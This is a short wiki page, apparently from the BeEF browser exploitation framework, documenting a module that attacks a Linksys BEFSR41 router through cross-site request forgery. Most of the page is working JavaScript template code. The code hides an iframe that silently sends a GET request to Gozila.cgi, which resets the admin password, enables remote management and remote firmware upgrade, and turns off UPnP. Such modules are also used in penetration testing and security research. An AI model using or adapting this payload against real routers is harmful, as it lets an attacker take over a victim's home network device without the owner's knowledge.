Skip to content

Module: Linksys BEFSR41 CSRF

Haoxi Tan edited this page Jan 9, 2020 · 2 revisions

Summary

  • Objective: enable remote administration and change the password on a Linksys BEFSR41 router

  • Authors: Martin Barbella

  • Browsers: All

  • Code

Internal Working

Uses an invisible iframe with GET request to change config

  var befsr41_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
  befsr41_iframe_<%= @command_id %>.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0');

Feedback

Clone this wiki locally